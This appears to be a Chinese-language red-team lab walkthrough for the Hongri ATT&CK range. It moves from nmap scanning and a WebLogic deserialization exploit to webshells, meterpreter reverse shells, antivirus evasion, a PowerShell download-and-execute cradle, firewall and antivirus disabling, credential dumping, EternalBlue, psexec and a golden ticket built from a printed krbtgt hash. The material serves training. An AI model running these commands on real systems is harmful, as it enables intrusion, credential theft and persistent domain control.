红日ATT&CK系列靶场(二)
环境搭建
建议参考视频:红日ATT&CK系列靶场(二)搭建_哔哩哔哩_bilibili
- 两张网卡
- web靶机不能直接开,要选择状态v3
开启PC时360会弹出来要开启的权限,这里选择输入密码让他开机自启动
administrator
1qaz@WSX
输入后让其重启,之后会要求再输入一遍即可
默认账密
.\de1ay
1qaz@WSX
要求改密码
我这里改为
1qaz@WSX3
进去后再注销出来
注销出来后切换用户mssql
输入密码1qaz@WSX
登录
之后弹出360,账号密码是这个
.\de1ay
1qaz@WSX
来到下图这个目录下开启weblogic,其中需要的管理员账号密码都是
.\de1ay
1qaz@WSX
管理员打开startWebLogic,注意看自己的域,如果是./web域那就直接
.\de1ay
1qaz@WSX
我这里一开始是de1ay域,要输入.\让他变成web域才行
其实就是上面这个de1ay用户目录有weblogic
启动成功
左边的窗口是来看7001有没有被成功启动的服务占用的
netstat -ano | findstr 7001
之后通过ip访问也成功。
注意了!这个时候再关闭一下机器
重新设置一下网卡,因为刚刚恢复快照了,会全部返回初始设置,后门一直打不通就是这个原因呢
外网打点
外网信息扫描
ap-scan -l
192.168.111.1 00:50:56:c0:00:08 VMware, Inc.
192.168.111.2 00:50:56:e2:d2:02 VMware, Inc.
192.168.111.80 00:0c:29:ca:42:4a VMware, Inc.
192.168.111.201 00:0c:29:72:5e:c6 VMware, Inc.
192.168.111.254 00:50:56:ef:54:f1 VMware, Inc.
nmap试试
nmap -sS -sV -Pn -T4 -A 192.168.47.129
- -sS代表使用半开式SYN扫描,这种扫描方式很少在目标主机上留下扫描日志
- -sV代表版本探测,探测服务的版本
- -Pn代表穿过防火墙扫描 (开了防火墙尽量用这个)
- -T4代表扫描时间间隔,设置速度等级,0-5级,数字越大,扫描时间间隔越小,速度就越快。 (T0-T2串行扫描,T3-T5并行扫描)
.1是我物理机ip,.2感觉也可能是之类的,所以我直接从80开始扫描
nmap -sS -sV -Pn -T4 -A 192.168.111.80
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-08 06:56 EDT
Nmap scan report for 192.168.111.80
Host is up (0.00060s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn't have a title.
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000.00; SP2
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-09-07T13:56:37
|_Not valid after: 2052-09-07T13:56:37
| ms-sql-ntlm-info:
| Target_Name: DE1AY
| NetBIOS_Domain_Name: DE1AY
| NetBIOS_Computer_Name: WEB
| DNS_Domain_Name: de1ay.com
| DNS_Computer_Name: WEB.de1ay.com
| DNS_Tree_Name: de1ay.com
|_ Product_Version: 6.1.7601
|_ssl-date: 2022-09-08T10:58:24+00:00; 0s from scanner time.
3389/tcp open tcpwrapped
|_ssl-date: 2022-09-08T10:58:24+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=WEB.de1ay.com
| Not valid before: 2022-09-06T13:57:32
|_Not valid after: 2023-03-08T13:57:32
| rdp-ntlm-info:
| Target_Name: DE1AY
| NetBIOS_Domain_Name: DE1AY
| NetBIOS_Computer_Name: WEB
| DNS_Domain_Name: de1ay.com
| DNS_Computer_Name: WEB.de1ay.com
| DNS_Tree_Name: de1ay.com
| Product_Version: 6.1.7601
|_ System_Time: 2022-09-08T10:57:45+00:00
7001/tcp open http Oracle WebLogic Server 10.3.6.0 (Servlet 2.5; JSP 2.1; T3 enabled)
|_http-title: Error 404--Not Found
|_weblogic-t3-info: T3 protocol in use (WebLogic version: 10.3.6.0)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
MAC Address: 00:0C:29:CA:42:4A (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 7|Vista|2008|8.1|Phone|2012 (98%)
OS CPE: cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_8.1:r1 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_server_2012:r2
Aggressive OS guesses: Microsoft Windows 7 (98%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (97%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (97%), Microsoft Windows 8.1 R1 (96%), Microsoft Windows Phone 7.5 or 8.0 (96%), Microsoft Windows Server 2008 or 2008 Beta 3 (95%), Microsoft Windows Server 2008 R2 or Windows 8.1 (95%), Microsoft Windows 7 Professional or Windows 8 (95%), Microsoft Windows Embedded Standard 7 (95%), Microsoft Windows Server 2008 SP1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
7001有个weblogic服务,可能存在反序列化,SSRF,任意文件上传,后台路径泄露
445端口开放意味着存在smb服务,可能存在ms17_010永恒之蓝漏洞。
139端口,就存在Samba服务,就可能存在爆破/未授权访问/远程命令执行漏洞
1433端口,就存在mssql服务,可能存在爆破/注入/SA弱口令。
攻入weblogic
http://192.168.111.80:7001/console/login/LoginForm.jsp
访问console路径会自动跳转到这个链接(后台)
但是尝试弱密码无果
两个扫描器
python3 weblogicscan.py 192.168.111.80 7001
rabbitmask/WeblogicScan: Weblogic一键漏洞检测工具,V1.5,更新时间:20200730 (github.com)
这个我下载在plus文件夹
python .\weblogicscan.py -u 192.168.111.80 -p 7001
cve-2019-2725
先尝试直接搜索
searchsploit weblogic
但是没有搜到太有用的东西
再尝试msf里面的search
search weblogic_deserialize
cve是2019发表的,那应该就是第三个
use 3
info查看详情
show options查看选项
填完参数后run,多次尝试无果
实验 java反序列化终极测试工具
https://www.aliyundrive.com/s/FqGpaqvHcGt
注意要java8运行
java.exe -jar xxx.jar
维持权限
weblogic上传webshell
接下来为了提权和维权,上传webshell,可以参考
weblogic上传木马路径选择 - 素时听风 - 博客园 (cnblogs.com)
尝试第一种
C:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
虽说这个目录需要权限,但是whoami看下咱直接是域的权限了,故可行
顺手看下有啥杀软
丢到在线网站Windows杀软在线对比 (saucer-man.com)
(肉眼可见)
冰蝎+javameterprete
为了获取meterpreter的shell,我们把原来的jsp换成冰蝎马
冰蝎新建url
http://192.168.111.80:7001/console/framework/skins/wlsconsole/images/shell2.jsp
连上后反弹meterpretershell
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lhost 192.168.111.128
exploit
维持权限
netsh advfirewall set allprofiles state off 关闭防火墙
run killav 关闭杀软
下面这个不行,java的meterpleter不支持
直接meterpreter的后门
于是试图上传meterpreter的木马
use payload/windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.111.128
set LPORT 5555
generate -f exe -o exp.exe
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 5555
exploit
免杀powershell (失效)
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.111.128 lport=6666 -f psh-cmd > shell.ps1
然后使用
komomon/Invoke-Obfuscation-Bypass: powershell免杀,Invoke-Obfuscation-Bypass分析和修改 (github.com)
执行如下命令,导入模块
Powershell -ExecutionPolicy Bypass # 管理员执行
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation
将刚才cs或者meterpreter生成的payload.ps1放在刚才的文件夹
执行命令进行混淆
set scriptpath D:\study\webtools\Invoke-Obfuscation-Bypass-main\Invoke-Obfuscation-Bypass-main\Invoke-Obfuscation-Bypass\shell.ps1 # 相对路径绝对路径都可以
token # 部分混淆
all
1
out 1.ps1 # 结果输出文件
这坨可以直接脚本发送,也可以把1.ps上传到服务器上执行(后来发现不行,powershell默认禁止执行脚本)
powershell -windowstyle hidden 1.ps1
我们使用脚本
https://www.exploit-db.com/
去搜索一下,找到个py
拿ps1免杀的内容替换一下原来的Poc
没办法,为了复现只能给权限(当然如果有meterpretershell应该可以)
但是发现免杀shell有问题,以后再来研究吧
听清辉师傅说要学免杀还是得自己写
cs
为了后面管理方便还是使用cs
./teamserver 192.168.111.128 123456
./start.bat
先生成监听
但是报错class not find
尝试powershell
生成
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.111.128:80/a'))"
用冰蝎的shell执行效果很差,
还是Meterpreter的shell好,不过执行后的shell权限不高,是mssql
这里找不到提权的好办法,只能以管理员身份运行了
内网渗透
账密信息
右击上线机器点击interact
hashdump
logonpasswords
可以看到密码的
de1ay\mssql
1qaz@WSX
但是尝试远程登录失败
其实,正常来说可以得到域控账密的,别人y0是这样
我是这样
少了个de1ay/administrator, 麻了
软件信息
查看安装应用
run post/windows/gather/enum_applications
域内信息
常用命令
1). 本机信息收集
Systeminfo //查看操作系统信息
Ipconfig /all //查询本机ip段,所在域等
Whoami //查看当前用户权限
Net user //查看本地用户
Net localgroup administrators //查看本地管理员组(通常 包含域用户)
得知web服务器为Windows server 2008 有两个网段
2). 域内信息收集
net config workstation // 查看当前计算机名,全名,用户名,系统版本,工作站域,登陆的域等
net view /domain // 查看域
net time /domain // 主域服务器会同时作为时间服务器
net user /domain // 查看域用户
net group /domain // 查看域内用户组列表
net group "domain computers" /domain // 查看域内的机器
net group "domain controllers" /domain // 查看域控制器组
net group "Enterprise Admins" /domain // 查看域管理员组
注意:如果meterpreter 使用 shell乱码问题解决方法
chcp 65001
坑
有个坑点
net view 回显
C:\Oracle\Middleware\user_projects\domains\base_domain>net view
net view
System error 6118 has occurred.
The list of servers for this workgroup is not currently available
6118报错
然后跑去DC域控服务器net view一下发现是空列表
win+r 输入services.mst,然后开启computer browser
这时候去net view就有一个DC了,可是PC还没有加入
而WEB还是这个报错
直接进入PC,管理员权限打开powershell输入关闭防火墙指令
netsh advfirewall set allprofiles state off
回显“确定”
之后net view可以看到了
可以简单理解为,因为内存不够vm有些虚拟机例如(DC)就休眠了,所以报了6118,随后进入DC net view的时候,DC重新恢复快照,但是本身没有开启computer browser,所以域没有搭起来,显示空列表,之后开启了,DC当然就恢复正常加入了域(本身是域控),但是PC有防火墙无法直接通过net view看到域,看下拓扑:
PC的防火墙一方面它阻止了PC加入到域,另一方面它阻止了WEB使用net view
关掉之后,就都可以了
结果我第二天打开的时候,net view变成了如下结果
WEB中使用net view:
PC中使用net view:
DC中使用net view:
而执行net user /domain时,会报1355 error...
综合三张图看,就是WEB没有加入到域控
解决方法和刚才类似,在WEB中(这条命令多执行几遍,因为怀疑是加入到定时任务会自动开启的)
netsh advfirewall set allprofiles state off
之后可以
所以给自己一个总结:
- 拿到shell后想办法关闭防火墙:netsh advfirewall set allprofiles state off再尝试Net view
通过操作。必须要知道的信息:
域?DC
存在的主机名及其域用户?WEB\de1ay,此外还有的主机是DC,PC,此外还有的用户是
域名?de1ay.com
扫活
换个shell,java版的不好用
生成
use payload/windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.111.128
set LPORT 5555
generate -f exe -o exp.exe
监听
use exploit/multi/handler
set lhost 192.168.2.33
set lport 5555
set payload windows/x64/meterpreter/reverse_tcp
run
上传并执行
upload exp.exe
shell
exp.exe
扫活的方法
run autoroute -s 10.10.10.0/24
background
use auxiliary/scanner/netbios/nbname
set rhosts 10.10.10.0/24
run
run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24
高下立马判了,左边是javashell右边是msf马
(虽然扫不出关键的,可能arp扫描被拦截了?)
(事后经过摸索,果然还是由于没挂代理的问题)
不过前面已经有net view了。可以直接ping每个机器得到mac地址
具体ip还是要挂代理
编辑kali下的frps.ini配置如下:
[common]
bind_addr = 192.168.2.33 //kali的公网ip
bind_port = 8000 //与客户端绑定的进行通信的端口
dashboard_addr = 0.0.0.0 //管理页面的设置
dashboard_port = 7600
dashboard_user = root
dashboard_pwd = 123456
token = 1q2w3e
heartbeat_timeout = 90
max_pool_count = 5
./frps -c ./frps.ini
frpc.ini
[common]
tls_enable = true
server_addr = 192.168.111.128
server_port = 8000
token = 1q2w3e
pool_count = 5
protocol = tcp
health_check_type = tcp
health_check_interval_s = 100
[proxies]
remote_port = 6000
plugin = socks5
use_encryption = true
use_compression = true
frpc.exe -c ./frpc.ini
proxychains记得改下,然后通过测试没有问题
内网扫活:
run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24
也可以
use auxiliary/scanner/netbios/nbname
set rhosts 10.10.10.0/24
run
版本信息
use auxiliary/scanner/smb/smb_version
端口垂直扫描
尝试上传fscan
(若使用冰蝎上传注意多刷新目录,有时候上传成功不会及时更新目录,再上传就显示进程占用了)
fscan.exe -h 10.10.10.80/24
DC
ms17-010
从上面可以看到扫到了445端口,又是老服务器win2008 server
所以基本可以优先尝试
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.10
set lport 7878
run
然后我kali崩了,可以去任务管理器里面把进程kill掉VMware中某个虚拟机卡死,单独关闭某个虚拟机的办法 - Aiden郭祥跃 - 博客园 (cnblogs.com),后面重新开启的时候多分配一点内存,我这里重新分配到4G
随后再试一遍成功
远程登录
load kiwi
creds_all
但是抓取密码失败
正常来说这里可以直接看到账密
别人的截图
cs使用ps_exec
portscan 10.10.10.0/24 445 arp 200
看最下面那个才是正确的,所以有时候net view给的ip并不正确
新建监听
名字设置为y0ngpsexec 因为我是参考y0ng大神的ATT&CK红队评估实战靶场(二) | Y0ng的博客 (yongsheng.site)
由于前面hashdump没有搞到域控密码,咱只能当作知道域控密码
上线
域控权限维持:Golden Ticket(黄金票据)
黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域控的 system 权限了,还可以使用黄金票据做权限维持,即使日后当域控权限掉了,也可以再通过域内其他任意机器伪造票据重新获取最高权限。
黄金票据的前提:
1.域名称
2.域的SID值
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名
获取krbtgt账户和nylm哈希
krbtgt
82dfc71b72a11ef37d663047bc2088fb:::
获取域的sid
sid
S-1-5-21-2756371121-2868759905-3853650604-1001
用户名随便输,域名输入当前域的域名,sid域hash值我们刚才已经获取了,然后点击创建
上面一不小心写错了,要de1ay.com
(本质是调用mimikatz的语法)
好!